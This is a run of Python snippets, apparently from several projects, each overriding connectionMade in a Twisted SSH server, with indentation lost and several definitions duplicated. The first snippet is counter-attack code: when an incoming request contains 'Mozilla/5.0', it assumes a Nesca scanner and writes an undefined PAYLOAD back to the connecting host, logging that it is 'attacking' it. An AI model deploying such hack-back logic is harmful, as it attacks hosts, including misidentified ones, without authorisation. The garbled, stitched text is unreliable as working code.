def connectionMade(self):
try:
client = self.transport.getPeer().host # client ip
log.msg("Incoming connection: %s" % client)
fd = self.transport.fileno()
flags = fcntl(fd, F_GETFL) # Get current fd flags
fcntl(fd, F_SETFL, flags | os.O_NONBLOCK)
ready, _, _ = select.select((fd, ), (), (), .5)
if fd in ready:
# Get some data.
req = os.read(fd, 4096)
if "Mozilla/5.0" in req:
# Probably it is Nesca, fire!
self.transport.write(b'%s\r\n' %
(self.ourVersionString + PAYLOAD, ))
log.msg("Nesca scan detected, attacking: %s" % client)
else:
# Regular ssh connection or another shit, drop it
log.msg("Dropping connection with host: %s" % client)
self.transport.loseConnection()
except Exception as e:
log.msg("Exception in SSHServerTransport: %s" % str(e))
# Passing connection to normal transport.
SSHServerTransport.connectionMade(self)
def connectionMade(self):
SSHServerTransport.connectionMade(self)
self.transport.setTcpKeepAlive(True)
def connectionMade(self):
# upon receiving a connection connect on towards the HTTP side
self.dest_server_addr = None
SSHServerTransport.connectionMade(self)
def connectionMade(self):
# upon receiving a connection connect on towards the HTTP side
self.dest_server_addr = None
SSHServerTransport.connectionMade(self)
def connectionMade(self):
SSHServerTransport.connectionMade(self)
self.transport.setTcpKeepAlive(True)
def connectionMade(self):
log.msg(metric='num_clients')
return SSHServerTransport.connectionMade(self)